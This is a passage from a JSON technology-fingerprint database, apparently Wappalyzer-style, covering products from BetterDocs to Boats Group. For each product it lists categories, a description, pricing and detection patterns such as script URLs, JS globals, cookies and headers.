\"BetterDocs.svg\",\n    \"js\": {\n      \"betterdocs.FEEDBACK\": \"\",\n      \"betterdocs_pro.FEEDBACK\": \"\",\n      \"betterdocspublic.post_id\": \"\"\n    },\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"website\": \"https://betterdocs.co\"\n  },\n  \"BetterDocs plugin\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"BetterDocs plugin is an advanced documentation and knowledge base plugin for WordPress.\",\n    \"icon\": \"BetterDocs.svg\",\n    \"implies\": [\n      \"BetterDocs\"\n    ],\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/betterdocs(?:-pro)?/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://betterdocs.co/docs/wordpress\"\n  },\n  \"Betty Blocks\": {\n    \"cats\": [\n      47,\n      62\n    ],\n    \"description\": \"Betty Blocks is a cloud-based application development solution featuring a no-code, drag-and-drop interface for developing business applications.\",\n    \"icon\": \"Betty Blocks.svg\",\n    \"implies\": [\n      \"React\"\n    ],\n    \"meta\": {\n      \"description\": \"^Made with Betty Blocks$\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.bettyblocks.com\"\n  },\n  \"Beusable\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Beusable is a tool that visualises site visitors' behaviour, offering insights through graphical data representations.\",\n    \"icon\": \"Beusable.svg\",\n    \"js\": {\n      \"__beusablerumclient__\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.beusable\\\\.net/\"\n    ],\n    \"website\": \"https://www.beusable.net\"\n  },\n  \"Beyable\": {\n    \"cats\": [\n      76\n    ],\n    \"cookies\": {\n      \"beyable-cart\": \"\",\n      \"beyable-cartd\": \"\"\n    },\n    \"description\": \"Beyable is a suite of tools that analyze website traffic to understand visitors' behaviors in real-time, through multi-channel in order to optimise conversion rate.\",\n    \"icon\": \"Beyable.svg\",\n    \"js\": {\n      \"BEYABLE\": \"\",\n      \"beYableDomain\": \"\",\n      \"beYableKey\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"msecnd\\\\.net/api/beYableJSv(\\\\d+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://beyable.com\"\n  },\n  \"BeyondMenu\": {\n    \"cats\": [\n      51,\n      93\n    ],\n    \"description\": \"BeyondMenu is an online food ordering service.\",\n    \"icon\": \"BeyondMenu.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.beyondmenu\\\\.com/\"\n    ],\n    \"website\": \"https://www.beyondmenu.com/contactus.aspx\"\n  },\n  \"Biano\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Biano is a furnisher store tracking pixel designed to gather data on user interactions with furniture items for analytical purposes.\",\n    \"icon\": \"Biano.svg\",\n    \"js\": {\n      \"bianoTrack\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"pixel\\\\.biano\\\\.ro/\"\n    ],\n    \"website\": \"https://www.biano.ro\"\n  },\n  \"Bidmatic\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Bidmatic is a platform providing publisher-centric monetisation solutions, enabling publishers to manage their ad stack and maximise revenue through high-quality demand sources and advanced optimisation technology.\",\n    \"icon\": \"Bidmatic.svg\",\n    \"js\": {\n      \"nobidVersion\": \"([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.bidmatic\\\\.io/\"\n    ],\n    \"website\": \"https://bidmatic.io\"\n  },\n  \"Big Cartel\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Big Cartel is a cloud-hosted ecommerce platform.\",\n    \"icon\": \"Big Cartel.svg\",\n    \"meta\": {\n      \"generator\": \"Big Cartel\"\n    },\n    \"website\": \"https://www.bigcartel.com\"\n  },\n  \"BigCommerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"BigCommerce is a hosted ecommerce platform that allows business owners to set up an online store and sell their products online.\",\n    \"dom\": [\n      \"img[data-src*='.bigcommerce.com'], img[src*='.bigcommerce.com'], link[href*='.bigcommerce.com']\"\n    ],\n    \"icon\": \"BigCommerce.svg\",\n    \"js\": {\n      \"bigcommerce_config\": \"\",\n      \"bigcommerce_i18n\": \"\"\n    },\n    \"meta\": {\n      \"platform\": \"^bigcommerce\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:\\\\.|plugins/)?bigcommerce(?:\\\\.com)?/(?:assets)?\"\n    ],\n    \"scripts\": [\n      \"bigcommerceProductId\"\n    ],\n    \"url\": [\n      \"mybigcommerce\\\\.com\"\n    ],\n    \"website\": \"https://www.bigcommerce.com\"\n  },\n  \"BigCommerce B2B Edition\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"BigCommerce B2B Edition is a specialised version of the BigCommerce ecommerce platform tailored for B2B companies, offering features such as custom pricing, catalogues, bulk ordering, quote requests, multi-user accounts, PO processing, and advanced reporting.\",\n    \"excludes\": [\n      \"BigCommerce\"\n    ],\n    \"icon\": \"BigCommerce B2B Edition.svg\",\n    \"js\": {\n      \"bundleB2BFeatureFlags\": \"\",\n      \"bundleb2b.text.tpa\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"BigCommerce\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.bundleb2b\\\\.net/\"\n    ],\n    \"website\": \"https://www.bundleb2b.com\"\n  },\n  \"BigDataCloud IP Geolocation\": {\n    \"cats\": [\n      79\n    ],\n    \"description\": \"BigDataCloud IP Geolocation API provides detailed and accurate locality and security metrics of an IP address.\",\n    \"icon\": \"BigDataCloud-IPGeolocation.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"bigdatacloud\\\\.net\"\n    ],\n    \"website\": \"https://www.bigdatacloud.com/packages/ip-geolocation\",\n    \"xhr\": [\n      \"api\\\\.bigdatacloud\\\\.net\"\n    ]\n  },\n  \"BigPoint\": {\n    \"cats\": [\n      38\n    ],\n    \"description\": \"BigPoint is a browser game portal that offers a collection of free online games.\",\n    \"dom\": [\n      \"form[action*='/Authentication/Bigpoint']\"\n    ],\n    \"icon\": \"BigPoint.svg\",\n    \"meta\": {\n      \"author\": \"Bigpoint GmbH\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.bigpoint.net\"\n  },\n  \"BigTree CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:bigtreecms:bigtree_cms:*:*:*:*:*:*:*:*\",\n    \"description\": \"BigTree CMS is an extremely extensible open-source CMS built on PHP and MySQL.\",\n    \"icon\": \"BigTree CMS.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"js\": {\n      \"BigTree.Growling\": \"\",\n      \"BigTreeMatrix\": \"\",\n      \"BigTreeTagAdder\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.bigtreecms.org\"\n  },\n  \"Bigin\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Bigin is a cloud-based customer relationship management (CRM) software.\",\n    \"icon\": \"Bigin.svg\",\n    \"js\": {\n      \"BIGIN_SDK_API\": \"\",\n      \"bigin._checkDataSize\": \"\",\n      \"biginCafe24DisableOptions\": \"\",\n      \"bigin_search\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"sdk\\\\.bigin\\\\.io/\"\n    ],\n    \"website\": \"https://en.bigin.io\"\n  },\n  \"Bigware\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"bigWAdminID\": \"\",\n      \"bigwareCsid\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:bigware:bigware_shop:*:*:*:*:*:*:*:*\",\n    \"html\": [\n      \"(?:Diese <a href=[^>]+bigware\\\\.de|<a href=[^>]+/main_bigware_\\\\d+\\\\.php)\"\n    ],\n    \"icon\": \"Bigware.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"url\": [\n      \"(?:\\\\?|&)bigWAdminID=\"\n    ],\n    \"website\": \"https://bigware.de\"\n  },\n  \"Bikayi\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Bikayi is a WhatsApp-integrated ecommerce store.\",\n    \"icon\": \"Bikayi.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"assets\\\\.bikayi\\\\.com/\"\n    ],\n    \"website\": \"https://bikayi.com\"\n  },\n  \"Bileto\": {\n    \"cats\": [\n      104\n    ],\n    \"description\": \"Bileto is an all-in-one platform for ticket sale and inspection.\",\n    \"icon\": \"Bileto.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.bileto\\\\.com/\"\n    ],\n    \"website\": \"https://www.bileto.com\"\n  },\n  \"Billbee\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Billbee is an order processing and inventory management solution.\",\n    \"icon\": \"Billbee.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"requiresCategory\": [\n      6\n    ],\n    \"saas\": true,\n    \"text\": [\n      \"\\\\bBillbee\\\\b\"\n    ],\n    \"website\": \"https://www.billbee.io\"\n  },\n  \"Binance Pay\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Binance Pay is a contactless, borderless, and secure cryptocurrency payment technology designed by Binance.\",\n    \"dom\": [\n      \"a[href*='app.binance.com/payment/secpay']\"\n    ],\n    \"icon\": \"Binance.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"website\": \"https://pay.binance.com\"\n  },\n  \"BinderPOS\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Binder POS is an ecommerce platform designed for local game stores to manage inventories, automate pricing, and integrate with online marketplaces.\",\n    \"icon\": \"BinderPOS.svg\",\n    \"js\": {\n      \"binderPOSBuylist\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.binderpos\\\\.com/\"\n    ],\n    \"website\": \"https://www.binderpos.com\"\n  },\n  \"BirdSeed\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"BirdSeed is a suite of website tools designed to enhance customer experience, enable real-time engagement, and support revenue growth.\",\n    \"icon\": \"BirdSeed.svg\",\n    \"js\": {\n      \"birdseed_widget_controller\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.birdseed\\\\.io/\"\n    ],\n    \"website\": \"https://birdseed.io\"\n  },\n  \"Birdeye\": {\n    \"cats\": [\n      32,\n      5\n    ],\n    \"description\": \"Birdeye is an all-in-one customer experience platform.\",\n    \"icon\": \"Birdeye.svg\",\n    \"js\": {\n      \"bfiframe\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"birdeye\\\\.com/embed\",\n      \"birdeye\\\\.com\"\n    ],\n    \"website\": \"https://birdeye.com\"\n  },\n  \"Bitcoin\": {\n    \"cats\": [\n      41\n    ],\n    \"cpe\": \"cpe:2.3:a:bitcoin:bitcoin:*:*:*:*:*:*:*:*\",\n    \"description\": \"Bitcoin is a decentralized digital currency, without a central bank or single administrator, that can be sent from user to user on the peer-to-peer bitcoin network without the need for intermediaries.\",\n    \"dom\": [\n      \"[aria-labelledby='pi-bitcoin']\"\n    ],\n    \"icon\": \"Bitcoin.svg\",\n    \"website\": \"https://en.wikipedia.org/wiki/Bitcoin\"\n  },\n  \"BiteSpeed\": {\n    \"cats\": [\n      100,\n      98\n    ],\n    \"description\": \"BiteSpeed is an all-in-one Shopify marketing app which helps ecommerce brands recover revenue.\",\n    \"icon\": \"BiteSpeed.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.bitespeed\\\\.co/\"\n    ],\n    \"scripts\": [\n      \"app\\\\.bitespeed\\\\.co/\"\n    ],\n    \"website\": \"https://www.bitespeed.co\"\n  },\n  \"Bitrix24\": {\n    \"cats\": [\n      53\n    ],\n    \"cpe\": \"cpe:2.3:a:bitrix24:bitrix24:*:*:*:*:*:*:*:*\",\n    \"description\": \"Bitrix24 is a set of tools for the organization and management of business processes.\",\n    \"icon\": \"Bitrix24.svg\",\n    \"js\": {\n      \"Bitrix24FormLoader\": \"\",\n      \"Bitrix24FormObject\": \"\",\n      \"b24Tracker\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.bitrix24\\\\.com\",\n      \"\\\\.bitrix24\\\\..+/bitrix/js/crm/form_loader\\\\.js\"\n    ],\n    \"website\": \"https://www.bitrix24.com\"\n  },\n  \"BittAds\": {\n    \"cats\": [\n      36\n    ],\n    \"icon\": \"BittAds.png\",\n    \"js\": {\n      \"bitt\": \"\"\n    },\n    \"scriptSrc\": [\n      \"bittads\\\\.com/js/bitt\\\\.js$\"\n    ],\n    \"website\": \"https://bittads.com\"\n  },\n  \"Bizweb\": {\n    \"cats\": [\n      6\n    ],\n    \"icon\": \"bizweb.png\",\n    \"js\": {\n      \"Bizweb\": \"\"\n    },\n    \"website\": \"https://www.bizweb.vn\"\n  },\n  \"Blackbaud CRM\": {\n    \"cats\": [\n      111\n    ],\n    \"description\": \"Blackbaud CRM gathers fundraising, online applications, actionable prospect research and analytics, and multichannel direct marketing into one platform.\",\n    \"icon\": \"Blackbaud.svg\",\n    \"js\": {\n      \"BLACKBAUD\": \"\",\n      \"don_premium_map\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"js/convio/modules\\\\.js\"\n    ],\n    \"url\": [\n      \"/site/Donation2?.*df_id=\"\n    ],\n    \"website\": \"https://www.blackbaud.com\"\n  },\n  \"Blade\": {\n    \"cats\": [\n      18,\n      22\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"blade-([\\\\w.]+)?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Blade.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"website\": \"https://lets-blade.com\"\n  },\n  \"Blazor\": {\n    \"cats\": [\n      18\n    ],\n    \"icon\": \"Blazor.svg\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"js\": {\n      \"Blazor\": \"\"\n    },\n    \"scriptSrc\": [\n      \"blazor\\\\.server\\\\.js\",\n      \"blazor\\\\.host\\\\.min\\\\.js\",\n      \"blazor\\\\.webassembly\\\\.js\"\n    ],\n    \"website\": \"https://dotnet.microsoft.com/apps/aspnet/web-apps/blazor\"\n  },\n  \"Bleckmann\": {\n    \"cats\": [\n      99,\n      107\n    ],\n    \"description\": \"Bleckmann is a logistics provider offering services to fashion and lifestyle brands, ensuring they meet customer delivery promises.\",\n    \"icon\": \"Bleckmann.svg\",\n    \"js\": {\n      \"API_BASE_URL_FE\": \"\\\\.bleckmann\\\\.com\",\n      \"apiCall\": \"\\\\.bleckmann\\\\.com\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.bleckmann.com\"\n  },\n  \"Blendle\": {\n    \"cats\": [\n      49\n    ],\n    \"description\": \"Blendle is a digital magazine system that allows users to access and read articles from various publications.\",\n    \"icon\": \"Blendle.svg\",\n    \"js\": {\n      \"asyncBlendleButtonInit\": \"\",\n      \"blendleButtonInit.locale\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.blendle.com\"\n  },\n  \"Blessing Skin\": {\n    \"cats\": [\n      7\n    ],\n    \"description\": \"Blessing Skin is a plubin that brings your custom skins back in offline Minecraft servers.\",\n    \"icon\": \"Blessing Skin.png\",\n    \"implies\": [\n      \"Laravel\"\n    ],\n    \"js\": {\n      \"blessing.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://github.com/bs-community/blessing-skin-server\"\n  },\n  \"Blesta\": {\n    \"cats\": [\n      85\n    ],\n    \"cookies\": {\n      \"blesta_sid\": \"\"\n    },\n    \"description\": \"Blesta is a billing platform tailored for web hosting providers, featuring client management, automated billing, and support systems.\",\n    \"icon\": \"Blesta.svg\",\n    \"pricing\": [\n      \"onetime\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.blesta.com\"\n  },\n  \"Blinger\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"cpe\": \"cpe:2.3:a:blinger:blinger:*:*:*:*:*:*:*:*\",\n    \"description\": \"Blinger is an omnichannel customer support and sales platform that aggregates messaging apps and live chat into a single helpdesk interface.\",\n    \"icon\": \"Blinger.svg\",\n    \"js\": {\n      \"Blinger\": \"\",\n      \"blingerInit\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.blinger\\\\.io/\"\n    ],\n    \"website\": \"https://blinger.io\"\n  },\n  \"Blinklink\": {\n    \"cats\": [\n      14\n    ],\n    \"description\": \"Blinklink is a platform that offers enterprises AI-curated short-form video solutions.\",\n    \"icon\": \"Blinklink.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.blinklink\\\\.com/\"\n    ],\n    \"website\": \"https://blinklink.com\"\n  },\n  \"Blitz\": {\n    \"cats\": [\n      92\n    ],\n    \"description\": \"Blitz provides intelligent static page caching for creating lightning-fast sites with Craft CMS.\",\n    \"headers\": {\n      \"X-Powered-By\": \"^Blitz$\"\n    },\n    \"html\": [\n      \"<!-- Cached by Blitz on\"\n    ],\n    \"icon\": \"Blitz.svg\",\n    \"implies\": [\n      \"Craft CMS\"\n    ],\n    \"js\": {\n      \"Blitz\": \"\",\n      \"blitzReplace\": \"\"\n    },\n    \"pricing\": [\n      \"onetime\",\n      \"low\"\n    ],\n    \"website\": \"https://putyourlightson.com/plugins/blitz\"\n  },\n  \"Blitz.js\": {\n    \"cats\": [\n      18\n    ],\n    \"description\": \"Blitz.js is a web development framework that uses Next.js and React and includes features for authentication, authorization, and database integration to simplify the creation of high-performance and scalable web applications.\",\n    \"headers\": {\n      \"X-Powered-By\": \"^Blitz\\\\.js?([0-9.]+)?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"blitzjs.svg\",\n    \"implies\": [\n      \"Next.js\"\n    ],\n    \"js\": {\n      \"__BLITZ_MIDDLEWARE_HOOKS\": \"\",\n      \"__BLITZ_SUSPENSE_ENABLED\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://blitzjs.com\"\n  },\n  \"Blocksy\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Blocksy is a modern and lightweight WordPress theme designed for a variety of websites, including blogs, portfolios, ecommerce stores, and business websites.\",\n    \"dom\": [\n      \"link[href*='/wp-content/themes/blocksy/']\"\n    ],\n    \"icon\": \"Blocksy.svg\",\n    \"js\": {\n      \"blocksyJsonP\": \"\",\n      \"blocksyResponsiveMenuCache\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/blocksy/(?:.+main\\\\.js(?:\\\\?ver=([\\\\d\\\\.]+)))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://creativethemes.com/blocksy\"\n  },\n  \"Blocksy Companion\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Blocksy Companion is a WordPress plugin that provides additional functionality and features for the Blocksy theme.\",\n    \"dom\": {\n      \"link[href*='/wp-content/plugins/blocksy-companion']\": {\n        \"attributes\": {\n          \"href\": \"/wp-content/plugins/blocksy-companion(?:-pro)?/.+\\\\.css(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"Blocksy.svg\",\n    \"implies\": [\n      \"Blocksy\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/blocksy-companion(?:-pro)?/\"\n    ],\n    \"website\": \"https://creativethemes.com/blocksy/companion/\"\n  },\n  \"Blogger\": {\n    \"cats\": [\n      11\n    ],\n    \"description\": \"Blogger is a blog-publishing service that allows multi-user blogs with time-stamped entries.\",\n    \"icon\": \"Blogger.png\",\n    \"implies\": [\n      \"Python\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Blogger$\"\n    },\n    \"url\": [\n      \"^https?://[^/]+\\\\.(?:blogspot|blogger)\\\\.com\"\n    ],\n    \"website\": \"https://www.blogger.com\"\n  },\n  \"Bloomreach\": {\n    \"cats\": [\n      1\n    ],\n    \"html\": [\n      \"<[^>]+/binaries/(?:[^/]+/)*content/gallery/\"\n    ],\n    \"icon\": \"Bloomreach.svg\",\n    \"website\": \"https://developers.bloomreach.com\"\n  },\n  \"Bloomreach Discovery\": {\n    \"cats\": [\n      29,\n      74\n    ],\n    \"description\": \"Bloomreach Discovery is a powerful combination of AI-powered site search, SEO, recommendations, and product merchandising.\",\n    \"icon\": \"Bloomreach.svg\",\n    \"js\": {\n      \"BrTrk.scriptVersion\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\",\n      \"br_data.acct_id\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.brsrvr\\\\.com/\",\n      \"\\\\.brcdn\\\\.com/\"\n    ],\n    \"website\": \"https://www.bloomreach.com/en/products/discovery\"\n  },\n  \"Blossom Travel\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Blossom Travel is a free WordPress theme which allows you to create various types of feminine blogs such as travel blog, personal blog, fashion blog, beauty blog, and many more.\",\n    \"icon\": \"Blossom.svg\",\n    \"js\": {\n      \"blossom_travel_data\": \"\",\n      \"blossom_travel_pro_data\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/blossom-travel(?:-pro)?/.+custom\\\\.min\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://blossomthemes.com/wordpress-themes/blossom-travel\"\n  },\n  \"Blotout EdgeTag\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Blotout EdgeTag is a technology provided by Blotout that tackles the effects of privacy changes on C-API signals by reconstructing signals around a lifetime ID, allowing for real-time remarketing of site visits.\",\n    \"icon\": \"Blotout.svg\",\n    \"js\": {\n      \"edgetag\": \"\",\n      \"edgetagProviders\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://blotout.io\"\n  },\n  \"Blue\": {\n    \"cats\": [\n      77\n    ],\n    \"description\": \"Blue is a ecommerce data marketing, lead generation, real time bidding and recommendation solutions.\",\n    \"dom\": [\n      \"iframe[src*='.getblue.io']\"\n    ],\n    \"icon\": \"Blue.svg\",\n    \"js\": {\n      \"blueProductId\": \"\",\n      \"bluecpy_id\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.getblue\\\\.io\"\n    ],\n    \"website\": \"https://web.getblue.io/en/\"\n  },\n  \"Blue Triangle\": {\n    \"cats\": [\n      16,\n      78\n    ],\n    \"description\": \"Blue Triangle is a connected view of marketing, web performance, and third-party tag analytics while constantly monitoring website code for security vulnerabilities.\",\n    \"icon\": \"Blue Triangle.svg\",\n    \"js\": {\n      \"_bttUtil.version\": \"([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.btttag\\\\.com/btt\\\\.js\"\n    ],\n    \"website\": \"https://bluetriangle.com\",\n    \"xhr\": [\n      \"\\\\.btttag\\\\.com\"\n    ]\n  },\n  \"BlueConic\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"BlueConic is the advanced customer data platform that liberates companies' first-party data from disparate systems.\",\n    \"icon\": \"BlueConic.svg\",\n    \"js\": {\n      \"BlueConicEngagement\": \"\",\n      \"blueConicClient\": \"\",\n      \"blueConicPreListeners\": \"\",\n      \"loadValuesFromBlueConic\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.blueconic.com\"\n  },\n  \"Bluecore\": {\n    \"cats\": [\n      32,\n      75\n    ],\n    \"description\": \"Bluecore is a retail marketing technology that uses data gained from direct marketing like email, social media, site activity.\",\n    \"icon\": \"Bluecore.svg\",\n    \"js\": {\n      \"_bluecoreTrack\": \"\",\n      \"bluecore_action_trigger\": \"\",\n      \"triggermail\": \"\",\n      \"triggermail_email_address\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.bluecore\\\\.com\"\n    ],\n    \"website\": \"https://www.bluecore.com\"\n  },\n  \"Bluefish\": {\n    \"cats\": [\n      20\n    ],\n    \"description\": \"Bluefish is a free software text editor with a variety of tools for programming in general and the development of websites.\",\n    \"icon\": \"Bluefish.png\",\n    \"meta\": {\n      \"generator\": \"Bluefish(?:\\\\s([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://sourceforge.net/projects/bluefish\"\n  },\n  \"Bluehost\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"Bluehost is a large web host known for its WordPress expertise, variety of “one-stop-shop” services, and bargain prices.\",\n    \"dns\": {\n      \"NS\": \"\\\\.bluehost\\\\.com\",\n      \"SOA\": \"\\\\.bluehost\\\\.com\"\n    },\n    \"headers\": {\n      \"host-header\": \"c2hhcmVkLmJsdWVob3N0LmNvbQ==\"\n    },\n    \"icon\": \"Bluehost.svg\",\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.bluehost.com\"\n  },\n  \"Blueknow\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Blueknow is a ecommerce personalisation software designed to serve enterprises, SMEs.\",\n    \"icon\": \"Blueknow.svg\",\n    \"js\": {\n      \"Blueknow\": \"\",\n      \"BlueknowTracker\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.blueknow\\\\.com\"\n    ],\n    \"website\": \"https://www.blueknow.com\"\n  },\n  \"Blueshift\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Blueshift offers the SmartHub CDP, which helps brands deliver relevant and connected experiences across every customer interaction.\",\n    \"icon\": \"Blueshift.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn.getblueshift.com/\"\n    ],\n    \"website\": \"https://blueshift.com\"\n  },\n  \"Bluestone PIM\": {\n    \"cats\": [\n      95\n    ],\n    \"description\": \"Bluestone PIM is primarily a product information management (PIM) solution, which is focused on managing and distributing product data across multiple channels. However, it also includes some features that are typically associated with digital asset management (DAM), such as the ability to manage and store product images, videos, and other digital assets.\",\n    \"dom\": [\n      \"img[src*='media.bluestonepim.com/'], img[data-srcset*='media.bluestonepim.com/']\"\n    ],\n    \"icon\": \"Bluestone PIM.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.bluestonepim.com\"\n  },\n  \"Bnovo\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Bnovo is a hotel industry management system.\",\n    \"icon\": \"Bnovo.svg\",\n    \"js\": {\n      \"Bnovo_Widget\": \"\",\n      \"_bnovo_widget\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://bnovo.ru\"\n  },\n  \"Boats Group\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Boats Group is a website platform for boat dealers and brokers.\",\n    \"dom\": [\n      \"a[href*='.boatsgroup.com/'][target='_blank']\"\n    ],\n    \"icon\": \"Boats Group.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.boatsgroup.com/websites\"\n  